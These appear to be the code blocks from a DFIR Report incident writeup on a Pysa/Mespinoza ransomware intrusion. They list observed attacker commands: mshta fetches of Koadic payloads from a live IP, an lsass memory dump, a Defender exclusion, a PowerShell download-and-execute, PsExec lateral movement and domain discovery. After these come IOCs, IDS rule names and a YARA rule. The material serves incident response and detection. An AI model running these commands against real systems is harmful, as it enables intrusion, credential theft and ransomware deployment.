```
mshta http://45.147.231.210:9999/8k6Mq
mshta http://45.147.231.210:9999/VtgyT
```

```
schtasks /create /tn K0adic /tr "C:\Windows\system32\mshta.exe C:\ProgramDat
```

```
Add-MpPreference -ExclusionExtension ".exe"

Event ID 5007
Windows Defender Antivirus Configuration has changed. If this is an unexpect
Old value:
New value: HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions\.e
```

```
procdump.exe -accepteula -ma lsass.exe mem.dmp
```

```
IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/BC-S
```

```
quser.exe
whoami.exe /user
net.exe group /domain
net.exe group "Domain Users" /domain
nltest.exe /dclist:
arp -a
```

```
mmc.exe C:\Windows\system32\dnsmgmt.msc
mmc.exe C:\Windows\system32\domain.msc
mmc.exe C:\Windows\system32\compmgmt.msc /s
mmc.exe C:\Windows\system32\gpedit.msc
mmc.exe C:\Windows\system32\diskmgmt.msc
mmc.exe C:\Windows\system32\wbadmin.msc
veeam.backup.shell.exe
```

```
PsExec.exe -d \\HOST -u "DOMAIN\USER" -p "PASSWORD" -accepteula -s cmd /c "p
```

```
198.96.155.3
23.129.64.190
185.220.100.240
```

```
194.36.190.74:443
Certificate [b8:20:c2:db:b6:b8:f4:0f:61:a5:c0:27:40:89:e6:30:cd:db:05:5e ]
Not Before 2020/09/17 18:38:42 
Not After 2021/09/17 18:38:42 
Public Algorithm rsaEncryption
JA3: 5e12c14bda47ac941fc4e8e80d0e536f
JA3s: 0eec924176fb005dfa419c80ab72d27c
```

```
C:\Users\USER\Downloads\svchost.exe
```

```
C:\Users\USER\Downloads\p.ps1
```

```
198.96.155.3
23.129.64.190
185.220.100.240
http://45.147.231.210:9999/8k6Mq
http://45.147.231.210:9999/VtgyT
45.147.231.210
```

```
194.36.190.74
https://194.36.190.74
```

```
svchost.exe
bd395971a7eb344673de513a15c16098
1db448b0f1adf39874d6ea6b245b9623849f48e5
df0cd6a8a67385ba67f9017a78d6582db422a137160176c2c5c3640b482b4a6c
p.ps1
2df8d3581274a364c6bf8859c9bdc034
8af4bfcef0f3fefae3f33b86815a6f940b64f4b7
eb1d0acd250d32e16fbfb04204501211ba2a80e34b7ec6260440b7d563410def
p.ps1
1da1f49900268fa7d783feda8849e496
72f2352eab5cb0357bdf5950c1d0374a19cfdf99
0ab8f14e2c1e6f7c4dfa3d697d935d4fbef3605e15fd0d489d39b7f82c84ba7e
XEKFGUIQQB.hta
5266daf58dd34076e447474c7dce09b2
b0197a53a56939d3d9006df448bc46ef599bac31
81e0d5945ab7374caf2353f8d019873c88728a6c289884a723321b8a21df3c77
```

```
ETPRO TROJAN Win32/Koadic CnC Checkin
ETPRO TROJAN Koadic Command Execution via CnC
ET SCAN Behavioral Unusual Port 445 traffic Potential Scan or Infection
ET POLICY Outbound MSSQL Connection to Non-Standard Port - Likely Malware
ET SCAN NMAP SIP Version Detect OPTIONS Scan
ET MALWARE Possible Metasploit Payload Common Construct Bind_API (from serve
```

```
GPL SNMP public access udp
ET SCAN Behavioral Unusual Port 139 traffic Potential Scan or Infection
ET SCAN Behavioral Unusual Port 135 traffic Potential Scan or Infection
ET SCAN Behavioral Unusual Port 445 traffic Potential Scan or Infection
ET SCAN Potential SSH Scan OUTBOUND
```

```
/*
YARA Rule Set
Author: The DFIR Report
Date: 2020-11-16
Identifier: Case 1010
Reference: https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/
*/

/* Rule Set -----------------------------------------------------------------

import "pe"

rule mespinoza_svchost {
```

```
meta:
description = "files - svchost.exe"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2020-11-16"
hash1 = "df0cd6a8a67385ba67f9017a78d6582db422a137160176c2c5c3640b482b4a6c"
strings:
$s1 = ".?AV?$TF_CryptoSystemBase@VPK_Encryptor@CryptoPP@@V?$TF_Base@VRandomi
$s2 = "protonmail.com" fullword ascii
$s4 = "update.bat" fullword ascii
$s5 = ".?AV?$CipherModeFinalTemplate_CipherHolder@V?$BlockCipherFinal@$0A@VE
$s6 = ".?AV?$AlgorithmImpl@VCBC_Encryption@CryptoPP@@V?$CipherModeFinalTempl
$s7 = ".?AV?$TF_ObjectImplBase@VTF_EncryptorBase@CryptoPP@@U?$TF_CryptoSchem
$s8 = ".?AV?$TF_ObjectImpl@VTF_EncryptorBase@CryptoPP@@U?$TF_CryptoSchemeOpt
$s9 = ".?AV?$TF_EncryptorImpl@U?$TF_CryptoSchemeOptions@V?$TF_ES@URSA@Crypto
$s10 = ".?AV?$TF_EncryptorImpl@U?$TF_CryptoSchemeOptions@V?$TF_ES@URSA@Crypt
$s11 = ".?AV?$TF_ObjectImplBase@VTF_EncryptorBase@CryptoPP@@U?$TF_CryptoSche
$s12 = ".?AV?$AlgorithmImpl@VTF_EncryptorBase@CryptoPP@@V?$TF_ES@URSA@Crypto
$s13 = ".?AV?$TF_ObjectImpl@VTF_EncryptorBase@CryptoPP@@U?$TF_CryptoSchemeOp
$s14 = "Check out our website, we just posted there new updates for our part
$s15 = "Also, be aware that we downloaded files from your servers and in cas
$s16 = "E3AF7F517600CD3B9006519EA9E24F65CE0318C3F326A20C1C73F644F32C4CDCEE7A
$s17 = "3082022030 0D06092A864886F70D0101010500038202 0D003082020802820201009A
$s18 = "A76229D9DAD792BF87826DBE0FFED40E7CEE781DF4E8B4AF086E21D41CE0912DAC62
$s19 = "CE012C93EC57B77DB5D9D4C345E7F3A2564C09E728C8B88CCD6A824C070EDDA34DA7
$s20 = ": ;+;6;?;E;" fullword ascii /* hex encoded string 'n' */
condition:
uint16(0) == 0x5a4d and filesize < 2000KB and
( pe.imphash() == "b5e8bd2552848bb7bf2f28228d014742" or 8 of them )
}
```

Twitter LinkedIn Reddit Facebook WhatsApp